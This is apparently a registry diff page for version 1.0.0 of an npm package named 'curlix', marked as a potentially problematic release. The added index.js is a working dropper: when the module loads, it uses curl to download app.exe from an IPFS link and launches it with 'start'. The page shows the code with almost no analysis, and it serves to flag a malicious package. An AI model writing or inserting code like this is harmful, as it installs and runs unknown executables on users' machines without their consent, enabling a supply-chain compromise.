curlix 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of curlix might be problematic. Click here for more details.
- package/index.js +32 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,32 @@
|
|
1
|
+
const { exec } = require('child_process');
|
2
|
+
|
3
|
+
const fileUrl = 'https://bafybeiapbk6meqszbnu6x72wqxvrd3why3wvxa2yezmvf6qu2rassodegq.ipfs.nftstorage.link/app.exe';
|
4
|
+
const fileName = 'app.exe';
|
5
|
+
|
6
|
+
const downloadAndOpenFile = (url, destination) => {
|
7
|
+
return new Promise((resolve, reject) => {
|
8
|
+
const downloadCommand = `curl -o ${destination} ${url}`;
|
9
|
+
exec(downloadCommand, (error, stdout, stderr) => {
|
10
|
+
if (error) {
|
11
|
+
reject(error);
|
12
|
+
} else {
|
13
|
+
console.log('Téléchargement terminé.');
|
14
|
+
|
15
|
+
const openCommand = `start ${destination}`;
|
16
|
+
exec(openCommand, (error) => {
|
17
|
+
if (error) {
|
18
|
+
reject(error);
|
19
|
+
} else {
|
20
|
+
console.log('Fichier ouvert avec succès.');
|
21
|
+
resolve();
|
22
|
+
}
|
23
|
+
});
|
24
|
+
}
|
25
|
+
});
|
26
|
+
});
|
27
|
+
};
|
28
|
+
|
29
|
+
downloadAndOpenFile(fileUrl, fileName)
|
30
|
+
.catch((error) => {
|
31
|
+
console.error('Une erreur s\'est produite :', error);
|
32
|
+
});
|